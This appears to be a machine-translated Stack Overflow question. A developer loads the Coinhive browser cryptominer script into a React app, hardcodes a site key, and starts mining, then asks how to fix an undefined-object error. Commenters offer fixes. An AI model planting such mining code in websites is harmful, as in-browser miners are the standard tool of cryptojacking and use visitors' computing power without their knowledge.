Dieser Code ist eine einfache Re-Implementierung react-coin-hive, im Grunde versuche ich zu verstehen, was hier vor sich geht.Externes Skript innerhalb von React laden (mit load-script)
Es JavaScript für Coinhive lädt, jedoch erhalte ich die Fehler
Line 8: 'CoinHive' is not defined no-undef
Hier die reagieren Code ist:
import React, {Component} from 'react';
import loadScript from 'load-script';
class App extends Component {
buildMiner = async() => {
this.miner = await new Promise(resolve => {
loadScript('https://coinhive.com/lib/coinhive.min.js',() => {
return resolve(CoinHive.Anonymous('WshUK1rGzM29IvlWo1qFhk37IgLIh3t3'));
})
})
};
async componentWillMount() {
this.buildMiner();
this.miner.start();
}
render() {
return (
<div>
Start mining!
</div>
);
}
}
export default App;
Wenn Sie Coinhive geladen waren normalerweise würden Sie Zugriff auf dieses Objekt haben und würde anrufen:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('YOUR_SITE_KEY');
miner.start();
</script>
Eine andere kleine Frage, die ich habe, ist, warum Sie se die Syntax:
buildMiner = async() => {}
und nicht sagen:
async buildMiner() {}
Welches 'load-script' benutzen Sie? [Dieser] (https://github.com/eldargab/load-script)? –
versuchen, 'CoinHive' durch' window.CoinHive' zu ersetzen –
In Verwendung 'npm install load-script'. Versucht das Hinzufügen von window.CoinHive, es wirft dann einen Fehler beim Ausführen von miner.start() 'Kann Eigenschaft 'start' von undefined nicht lesen – Ryan